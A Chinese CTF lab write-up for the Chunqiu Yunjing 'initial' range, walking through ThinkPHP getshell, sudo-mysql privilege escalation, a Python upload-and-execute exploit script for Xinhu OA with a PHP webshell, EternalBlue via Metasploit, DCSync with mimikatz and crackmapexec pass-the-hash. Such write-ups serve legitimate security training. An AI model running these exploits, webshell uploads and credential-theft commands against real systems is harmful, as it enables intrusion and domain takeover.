春秋云镜——initial

初步认识内网渗透流程

thinkphp外网打点

打开环境后尝试登陆无果,用fscan扫一下看看

fscan.exe -h 39.99.224.87

发现是think PHP漏洞

补充:

fscan:一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能

安装

这里需要下载go环境fscanproxifier,资源放链接里了,具体怎么操作就不赘述了,接下来就是配置go环境

在cmd命令行中输入代码:go env -w GOSUMDB=off
和go env -w GOPROXY=https://goproxy.cn,direct和go build -ldflags="-s -w " -trimpath

生成fscan.exe可执行文件

然后在该文件夹下就可以使用fscan了

简单的使用

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

用莲花的thinkphp综合利用工具,然后getshell

补充:

ThinkphpGUI工具

下载后一直打不开,后面发现匹配的是java8的环境,有Javafx sdk,但我的是java18,自Java11以后就需要另外重新下载

然后需要从cmd打开或者powershell,都可以

java "-Dfile.encoding=UTF-8" --module-path "D:\Java\javafx-sdk-17.0.13\lib" --add-modules "javafx.controls,javafx.fxml,javafx.web" -jar "D:\ThinkPHP综合工具\ThinkphpGUI.jar"

这里具体位置换成自己保存的就可以了

这样就可以正常打开了

接着用蚁剑连接

进去后发现找不到flag

提权

拿到了shell,但是没有root权限,这里就需要提权了,一般涉及到比较多比较容易的提权方式就是sudo和suid

这里可以看到需要用root的身份无密码执行mysql命令

补充:

sudo -l:用于列出当前用户可以使用 sudo 命令执行的所有命令。有助于了解用户的权限和可以执行的操作

命令如下

sudo mysql -e '\! 要执行的命令'

然后可以直接读取到root目录下面的flag1

补充:

//-e:允许你在命令行中直接指定要执行的SQL语句。
//\!:是一个特殊的命令,用于在MySQL客户端中执行系统命令。

接着查看root目录

得到flag01:flag{60b53231-

内网渗透

外网打了之后就到内网了

通过ifconfig可以发现存在局域网,并且可以出网,那么就传一个fscan上去,扫一下这个局域网,这里要记得给执行权限

这里出了点问题,fscan一直都传不上去,改权限了也不行

//kali、ubuntu、云服务器
python3 -m http.server <PORT>
//靶机
curl http://<kali-ip>:<PORT>/fscan --output fscan
或curl -o http://<kali-ip>:<PORT>/fscan
或wget http://<kali-ip>:<PORT>/fscan

扫完后到目录中查看,提取出下列内网信息

172.22.1.2 DC域控

172.22.1.21 MS17-010永恒之蓝

172.22.1.18 信呼OA系统

信呼OA

利用suo5进行代理,这里先在其网站目录上传suo5.php,然后用控制端直接连接,然后就可以访问信呼oa,弱口令admin/admin123登录后台

补充:

suo5项目

suo5 是一款高性能的 HTTP 代理隧道工具,基于双向的 Chunked-Encoding 构建。相比传统的隧道工具如 Neo-reGeorg,suo5 的性能可以达到其数十倍。suo5 支持全双工与半双工模式,传输性能接近 FRP,并且支持在 Nginx 反向代理和负载均衡场景中使用。此外,suo5 还支持 Java 4 到 Java 21 的全版本以及各大主流中间件服务,同时也支持 IIS 和 .NET Framework 2.0 以上的所有版本。

同时需要安装go环境,上面提过了,就不多说了

还需要Webview2 框架,安装时发现已经有了,需要过程的可以自己搜索

具体配置就不说了,与上面fscan相同

将内网代理到vps

接下来代理到本地,用proxifier

Profile-Proxy-Servers-Add

Profile-Proxification Rules-Add

然后就可以访问了

这里用弱口令admin/admin123登录后台

登录后在网上可以找到相关的漏洞

之后我用的是脚本上传文件

import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('a.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(url_pre + filepath + "?1=system('whoami');")
print(r.text)

其中a.php是一句话木马

然后蚁剑连接就可以得到flag2为flag02: 2ce3-4813-87d4-

ms17010

前面整理了以后发现存在永恒之蓝,这里直接用msf来打

这里用正向去打

需要用到proxychains4

补充:

proxychains4

安装

sudo apt-get install proxychains4

修改配置文件

sudo vim /etc/proxychains.conf

这里根据实际情况而定

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 172.22.1.21
run 或者 exploit

这里打永恒之蓝横向移动

DCSync攻击

补充:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,"模拟"DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
获得的MS17-010这台机器加载mimikatz,并且本机是system权限
加载mimikatz

meterpreter> load kiwi

meterpreter> kiwi_cmd privilege::debug(提升权限,这个需要system权限)

导出域内哈希

由于获得了域管理员账户,直接通过哈希传递就能拿下域控,crackmapexec来进行哈希传递PTH

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

得到的flag3为e8f88d0d43d6}

所以flag是flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

相关推荐
打工人你好4 分钟前
iOS 逆向学习 - Inter-Process Communication:进程间通信
学习·ios
羊小猪~~20 分钟前
数据结构C语言描述11(图文结合)--二叉搜索树(BST树)的实现(数据采用KV存储形式进行封装)
c语言·开发语言·数据结构·c++·学习·考研·算法
Archippus1 小时前
线段树维护最大子段和及其类似问题
笔记·oi
青い月の魔女1 小时前
数据结构初阶---排序
开发语言·数据结构·笔记·学习·算法·排序算法
MUTA️1 小时前
RT-DETR代码详解(官方pytorch版)——参数配置(1)
人工智能·pytorch·笔记·深度学习·机器学习·计算机视觉
打工人你好2 小时前
iOS 逆向学习 - iOS Application Structure:iOS 应用程序结构
学习·ios
phantom_1113 小时前
LLM 大语言模型学习记录
人工智能·学习·语言模型
cyr___4 小时前
Unity教程(二十)战斗系统 角色反击
学习·游戏·unity·游戏引擎
相思半4 小时前
Web前端开发入门学习笔记之CSS 57-58--新手超级友好版- 盒子模型以及边框线应用篇
前端·css·笔记·学习·职场和发展